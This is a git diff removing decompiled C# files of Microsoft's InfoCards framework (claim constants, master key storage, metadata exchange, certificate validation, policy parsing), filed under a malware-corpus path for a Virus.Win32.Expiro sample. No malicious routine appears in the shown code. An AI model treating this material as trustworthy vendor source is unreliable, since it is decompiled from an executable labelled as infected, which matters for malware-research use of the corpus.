InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Country, "CountryText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.DateOfBirth, "DateOfBirthText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Gender, "GenderText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.HomePhone, "HomePhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Locality, "LocalityText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.MobilePhone, "MobilePhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.OtherPhone, "OtherPhoneText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.PostalCode, "PostalCodeText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.StateOrProvince, "StateOrProvinceText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.StreetAddress, "StreetAddressText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Surname, "SurnameText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.PPID, "PPIDText"); - InfoCardConstants.s_claimDisplayTags.Add(InfoCardConstants.Webpage, "WebPageText"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.GivenName, "GivenNameDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.EmailAddress, "EmailAddressDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Country, "CountryDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.DateOfBirth, "DateOfBirthDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Gender, "GenderDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.HomePhone, "HomePhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Locality, "LocalityDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.MobilePhone, "MobilePhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.OtherPhone, "OtherPhoneDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.PostalCode, "PostalCodeDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.StateOrProvince, "StateOrProvinceDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.StreetAddress, "StreetAddressDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Surname, "SurnameDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.PPID, "PPIDDescription"); - InfoCardConstants.s_claimDescription.Add(InfoCardConstants.Webpage, "WebPageDescription"); - InfoCardConstants.s_defaultQuotas.MaxDepth = 32; - InfoCardConstants.s_defaultQuotas.MaxStringContentLength = 8192; - InfoCardConstants.s_defaultQuotas.MaxArrayLength = 20971520; - InfoCardConstants.s_defaultQuotas.MaxBytesPerRead = 4096; - InfoCardConstants.s_defaultQuotas.MaxNameTableCharCount = 16384; - InfoCardConstants.s_maxMessageSize = 20971520; - InfoCardConstants.s_maxMexChainLength = 100; - using (new SystemIdentity(false)) - { - using (Microsoft.Win32.RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("software\\microsoft\\infocard", false)) - { - if (registryKey != null) - { - object obj1 = registryKey.GetValue(nameof (MaximumMessageSize), (object) 20971520); - if (obj1 is int num1 && num1 > 0 && (int) obj1 * 1024 > 0) - InfoCardConstants.s_maxMessageSize = (int) obj1 * 1024; - object obj2 = registryKey.GetValue("MaximumMexChain", (object) 100); - if (obj2 is int num2) - { - if (num2 > 0) - InfoCardConstants.s_maxMexChainLength = (int) obj2; - } - } - } - } - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/SignatureAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/EncryptionAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/CanonicalizationAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/SignWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/Claims"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/TokenType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/KeyType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/KeySize"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/EncryptWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/02/trust/RequestType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SignatureAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/EncryptionAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/CanonicalizationAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SignWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/Claims"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/TokenType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeyType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeySize"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/EncryptWith"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/RequestType"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/SecondaryParameters"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-trust/200512/KeyWrapAlgorithm"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://schemas.xmlsoap.org/ws/2005/07/securitypolicy/RequestSecurityTokenTemplate"); - InfoCardConstants.s_localTokenFactoryWhiteList.Add("http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200512/RequestSecurityTokenTemplate"); - InfoCardConstants.s_policyElementsToBeProcessed.AddRange((IEnumerable) InfoCardConstants.s_localTokenFactoryWhiteList); - InfoCardConstants.s_policyElementsToBeProcessed.Add("http://schemas.xmlsoap.org/ws/2004/09/policy/AppliesTo"); - InfoCardConstants.s_policyElementsToBeProcessed.Add("http://www.w3.org/ns/ws-policy/AppliesTo"); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardListRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardListRequest.cs deleted file mode 100644 index c764cd09..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardListRequest.cs +++ /dev/null @@ -1,107 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardListRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class InfoCardListRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private IList m_allCards; - - public InfoCardListRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - IList allCards = this.GetAllCards(); - if (allCards == null || allCards.Count == 0) - return; - IList infoCardList = (IList) new List(allCards.Count); - for (int index = 0; index < allCards.Count; ++index) - { - byte[] dataField = allCards[index].GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - infoCardList.Add(new InfoCard((Stream) memoryStream)); - } - finally - { - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - this.m_allCards = infoCardList; - } - - protected override void OnMarshalOutArgs() - { - Stream outArgs = this.OutArgs; - BinaryWriter binaryWriter = new BinaryWriter(outArgs); - if (this.m_allCards != null && this.m_allCards.Count != 0) - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - binaryWriter.Write(this.m_allCards.Count); - for (int index = 0; index < this.m_allCards.Count; ++index) - { - binaryWriter.Flush(); - this.m_allCards[index].AgentSerialize(outArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - binaryWriter.Flush(); - } - finally - { - if (this.m_allCards != null) - { - foreach (InfoCard allCard in (IEnumerable) this.m_allCards) - allCard.ClearSensitiveData(); - } - connection.Close(); - } - } - else - binaryWriter.Write(0); - } - - private IList GetAllCards() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - return (IList) connection.Query(QueryDetails.FullRow, connection.LocalDataSource, new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - })); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardMasterKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardMasterKey.cs deleted file mode 100644 index 28950548..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardMasterKey.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardMasterKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardMasterKey - { - private const byte Marker = 29; - private const byte Version = 1; - private Uri m_infoCardId; - private byte[] m_key; - - public InfoCardMasterKey(Uri infoCardId) => this.m_infoCardId = infoCardId; - - public InfoCardMasterKey(Uri infoCardId, byte[] key) - { - this.m_infoCardId = infoCardId; - this.m_key = key; - } - - public static InfoCardMasterKey NewMasterKey(Uri infoCardId) - { - InfoCardMasterKey infoCardMasterKey = new InfoCardMasterKey(infoCardId); - InfoCardTrace.Assert(null == infoCardMasterKey.m_key, "Should be null"); - infoCardMasterKey.m_key = InfoCardMasterKey.GenerateKey(); - return infoCardMasterKey; - } - - public byte[] Key => this.m_key; - - private static byte[] GenerateKey() - { - byte[] data = new byte[32]; - new RNGCryptoServiceProvider().GetBytes(data); - return data; - } - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate infocard id before calling Get"); - InfoCardTrace.Assert(con != null, "null connection"); - this.Deserialize((Stream) new MemoryStream(this.GetRow(con, QueryDetails.FullRow).GetDataField())); - } - - public void Save(StoreConnection con) - { - InfoCardTrace.Assert(con != null, "null connection"); - this.ThrowIfNotComplete(); - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 3; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - row.SetIndexValue("ix_masterkey", (object) this.m_key); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - } - - public void ThrowIfNotComplete() - { - if (!((Uri) null != this.m_infoCardId) || Utility.ArrayIsNullOrEmpty((Array) this.m_key)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Encrypt(PinProtectionHelper pinHelper) => this.m_key = pinHelper.EncryptMasterKey(this.m_key); - - public void Decrypt(PinProtectionHelper pinHelper) => this.m_key = pinHelper.DecryptMasterKey(this.m_key); - - public PinProtectionHelper GetPinHelper(string pin) => new PinProtectionHelper(pin, this.m_key); - - private void Serialize(Stream stream) - { - this.ThrowIfNotComplete(); - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write((byte) 1); - Utility.SerializeBytes(writer, this.m_key); - writer.Write((byte) 29); - } - - private void Deserialize(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Master key version mismatch"); - this.m_key = binaryReader.ReadBytes(binaryReader.ReadInt32()); - if ((byte) 29 != binaryReader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected"); - this.ThrowIfNotComplete(); - } - - protected DataRow GetRow(StoreConnection con, QueryDetails details) - { - DataRow row = this.TryGetRow(con, details); - InfoCardTrace.Assert(row != null && 3 == row.ObjectType, "invalid service object type"); - return row; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "populate cardid before retrieving row"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 3 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs deleted file mode 100644 index c48f6935..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs +++ /dev/null @@ -1,94 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardMetadataExchangeClient -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Net; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Description; - -namespace Microsoft.InfoCards -{ - internal class InfoCardMetadataExchangeClient : MetadataExchangeClient - { - private HttpWebRequest m_currentHttpGetRequest; - private object m_abortSync; - private bool m_aborted; - private IWebProxy m_proxy; - - public static CustomBinding CreateBindingForMex() - { - HttpsTransportBindingElement transportBindingElement = new HttpsTransportBindingElement(); - InfoCardTrace.Assert(AuthenticationSchemes.Anonymous == transportBindingElement.AuthenticationScheme, "AuthenticationScheme must be Anonymous and not NTLM/Negotiate"); - return new CustomBinding(new BindingElement[2] - { - (BindingElement) new TextMessageEncodingBindingElement(), - (BindingElement) transportBindingElement - }); - } - - public InfoCardMetadataExchangeClient() - : base((Binding) InfoCardMetadataExchangeClient.CreateBindingForMex()) - { - this.m_abortSync = new object(); - } - - public IWebProxy Proxy - { - set => this.m_proxy = value; - } - - public void Abort() - { - lock (this.m_abortSync) - { - if (this.m_currentHttpGetRequest != null) - this.m_currentHttpGetRequest.Abort(); - else - base.GetChannelFactory((EndpointAddress) null, (string) null, (string) null)?.Abort(); - this.m_aborted = true; - } - } - - protected internal override HttpWebRequest GetWebRequest( - Uri location, - string dialect, - string identifier) - { - if (string.Compare(location.Scheme, "https", StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NonHttpsURIFound", (object) location.AbsoluteUri))); - HttpWebRequest webRequest = base.GetWebRequest(location, dialect, identifier); - InfoCardTrace.Assert(null == webRequest.Credentials, "No creds should be set"); - InfoCardTrace.Assert(null != this.m_proxy, "Set the proxy value before creating a WebRequest"); - webRequest.Proxy = this.m_proxy; - lock (this.m_abortSync) - { - if (this.m_aborted) - webRequest.Abort(); - return this.m_currentHttpGetRequest = webRequest; - } - } - - protected internal override ChannelFactory GetChannelFactory( - EndpointAddress metadataAddress, - string dialect, - string identifier) - { - if ((EndpointAddress) null != metadataAddress && string.Compare(metadataAddress.Uri.Scheme, "https", StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("NonHttpsURIFound", (object) metadataAddress.Uri.AbsoluteUri))); - InfoCardTrace.Assert(null != this.m_proxy, "Set the proxy value before creating a WebRequest"); - ChannelFactory channelFactory = base.GetChannelFactory(metadataAddress, dialect, identifier); - channelFactory.Endpoint.Binding = (Binding) new CustomBinding(Utility.UpdateProxyForHttpAndRestrictTransportBinding(channelFactory.Endpoint.Binding.CreateBindingElements(), this.m_proxy, true)); - lock (this.m_abortSync) - { - if (this.m_aborted) - channelFactory.Abort(); - } - return channelFactory; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs deleted file mode 100644 index a71e6136..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs +++ /dev/null @@ -1,93 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardOfflineChainTrustValidator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardOfflineChainTrustValidator : X509CertificateValidator - { - private bool m_useMachineContext; - - public InfoCardOfflineChainTrustValidator(bool useMachineContext) => this.m_useMachineContext = useMachineContext; - - public override void Validate(X509Certificate2 certificate) - { - X509Chain chain; - this.Validate(certificate, (X509Certificate2Collection) null, out chain); - chain = (X509Chain) null; - } - - public void Validate( - X509Certificate2 certificate, - X509Certificate2Collection supportingCerts, - out X509Chain chain) - { - if (certificate == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (certificate)); - chain = new X509Chain(this.m_useMachineContext); - if (supportingCerts != null) - chain.ChainPolicy.ExtraStore.AddRange(supportingCerts); - chain.ChainPolicy.RevocationFlag = X509RevocationFlag.ExcludeRoot; - chain.ChainPolicy.RevocationMode = X509RevocationMode.Offline; - chain.ChainPolicy.VerificationFlags = X509VerificationFlags.IgnoreEndRevocationUnknown | X509VerificationFlags.IgnoreCtlSignerRevocationUnknown | X509VerificationFlags.IgnoreCertificateAuthorityRevocationUnknown | X509VerificationFlags.IgnoreRootRevocationUnknown; - if (!chain.Build(certificate)) - throw InfoCardTrace.ThrowHelperError((Exception) new SecurityTokenValidationException(SR.GetString("X509ChainBuildFail", (object) InfoCardOfflineChainTrustValidator.GetCertificateId(certificate), (object) InfoCardOfflineChainTrustValidator.GetChainStatusInformation(chain.ChainStatus)))); - } - - internal static string GetCertificateId(X509Certificate2 certificate) - { - StringBuilder str = new StringBuilder(256); - InfoCardOfflineChainTrustValidator.AppendCertificateIdentityName(str, certificate); - return str.ToString(); - } - - private static string GetChainStatusInformation(X509ChainStatus[] chainStatus) - { - if (chainStatus == null) - return string.Empty; - StringBuilder stringBuilder = new StringBuilder(256); - for (int index = 0; index < chainStatus.Length; ++index) - { - if (X509ChainStatusFlags.RevocationStatusUnknown != chainStatus[index].Status && X509ChainStatusFlags.OfflineRevocation != chainStatus[index].Status) - { - stringBuilder.Append(chainStatus[index].StatusInformation); - stringBuilder.Append(" "); - } - } - return stringBuilder.ToString(); - } - - private static void AppendCertificateIdentityName( - StringBuilder str, - X509Certificate2 certificate) - { - string str1 = certificate.SubjectName.Name; - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.DnsName, false); - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.SimpleName, false); - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.EmailName, false); - if (string.IsNullOrEmpty(str1)) - str1 = certificate.GetNameInfo(X509NameType.UpnName, false); - } - } - } - str.Append(string.IsNullOrEmpty(str1) ? "" : str1); - str.Append("; "); - str.Append(certificate.Thumbprint); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardPolicy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardPolicy.cs deleted file mode 100644 index 10cd6058..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/InfoCardPolicy.cs +++ /dev/null @@ -1,237 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardPolicy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardPolicy - { - private static XmlNamespaceManager m_defNamespaces = XmlNames.CreateNamespaceManager((XmlNameTable) new NameTable()); - private EndpointAddress m_issuer; - private string m_privacyPolicyLink = string.Empty; - private uint m_privacyPolicyVersion; - private bool m_isManaged; - private bool m_requiresManagedCard; - private RecipientIdentity m_immediateTokenRecipientIdentity; - private RecipientIdentity m_recipientIdentity; - private Policy m_policyPrimary; - private Policy m_policySecondary; - private Policy m_policyMerged; - private readonly PolicyUsageContext m_policyUsageContext; - - public InfoCardPolicy( - EndpointAddress immediateTokenRecipient, - EndpointAddress issuer, - ParsedPolicy policy, - PolicyUsageContext policyUsageContext, - string privacyUrl, - uint privacyVersion, - RecipientIdentity recipientIdentity, - bool isManaged) - { - this.m_policyUsageContext = policyUsageContext; - this.m_issuer = issuer; - this.m_recipientIdentity = recipientIdentity; - this.m_immediateTokenRecipientIdentity = RecipientIdentity.CreateIdentity(immediateTokenRecipient, false); - this.m_isManaged = isManaged; - if (policy != null) - this.ParseIncomingPolicy(policy); - if (!InfoCardPolicy.IsSelfIssuedUriPresent(this.m_issuer) && issuer != (EndpointAddress) null && !Utility.CompareUri(issuer.Uri, new Uri("http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"))) - this.m_requiresManagedCard = true; - this.m_privacyPolicyLink = privacyUrl; - this.m_privacyPolicyVersion = privacyVersion; - } - - private void ParseIncomingPolicy(ParsedPolicy parsedPolicy) - { - if (PolicyType.Composite == parsedPolicy.PolicyType) - { - try - { - this.m_policyPrimary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlPrimary); - this.m_policySecondary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlSecondary); - this.m_policyMerged = Policy.CreateMergedPolicy(parsedPolicy.PolicyXmlOriginal, this.m_policyPrimary, this.m_policySecondary); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - else if (parsedPolicy.PolicyType == PolicyType.PrimaryOnly) - { - try - { - this.m_policyPrimary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlPrimary); - this.m_policyMerged = this.m_policyPrimary; - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - else - { - if (PolicyType.SecondaryOnly != parsedPolicy.PolicyType) - return; - try - { - this.m_policySecondary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlSecondary); - this.m_policyMerged = this.m_policySecondary; - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - } - - public Policy MergedPolicy => this.m_policyMerged; - - public string RequestType => this.m_policyMerged.RequestType; - - public Policy ClientPolicy => this.m_policyPrimary; - - public Policy RelyingPartyPolicy => this.m_policySecondary; - - public OptionalRstParameters OptionalRstParams => this.m_policyMerged.OptionalRstParams; - - public string[] RequiredClaims => this.m_policyMerged.RequiredClaims; - - public string[] OptionalClaims => this.m_policyMerged.OptionalClaims; - - public SecurityKeyTypeInternal KeyType => this.m_policyMerged.KeyType; - - public bool KeyTypeSpecified => this.m_policyMerged.KeyTypeSpecified; - - public EndpointAddress PolicyAppliesTo => this.m_policyMerged.PolicyAppliesTo; - - public MemoryStream UnprocessedPolicyElements => this.m_policyMerged.UnprocessedPolicyElements; - - public bool KeySizeSpecified => this.m_policyMerged.KeySizeSpecified; - - public uint KeySize => this.m_policyMerged.KeySize; - - public bool NonWhiteListElementsFound => this.m_policyMerged.NonWhiteListElementsFound; - - public List NonWhiteListElements => this.m_policyMerged.NonWhiteListElements; - - public ProtocolProfile ProtocolVersionProfile => this.m_policyMerged.ProtocolVersionProfile; - - public RecipientIdentity ImmediateTokenRecipient => this.m_immediateTokenRecipientIdentity; - - public EndpointAddress Issuer => this.m_issuer; - - public RecipientIdentity Recipient => this.m_recipientIdentity; - - public uint GetIntelligentKeySize(bool isSelfIssuedCardSelected) - { - if (isSelfIssuedCardSelected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - if (SecurityKeyTypeInternal.AsymmetricKey == this.KeyType) - return 2048; - if (this.KeyType == SecurityKeyTypeInternal.SymmetricKey) - return !this.KeySizeSpecified ? (uint) SecurityAlgorithmSuite.Default.DefaultSymmetricKeyLength : this.KeySize; - InfoCardTrace.Assert(false, "Should access this property only in managed card non-no proof key scenario"); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - } - - public string GetKeyTypeString() - { - switch (this.KeyType) - { - case SecurityKeyTypeInternal.SymmetricKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeSymmetric.ToString(); - case SecurityKeyTypeInternal.AsymmetricKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeAsymmetric.ToString(); - case SecurityKeyTypeInternal.NoKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeBearer.ToString(); - default: - InfoCardTrace.Assert(false, "Impossible condition in code"); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - } - } - - public string PrivacyPolicyLink => this.m_privacyPolicyLink; - - public uint PrivacyPolicyVersion => this.m_privacyPolicyVersion; - - public bool IsManaged => this.m_isManaged; - - public bool 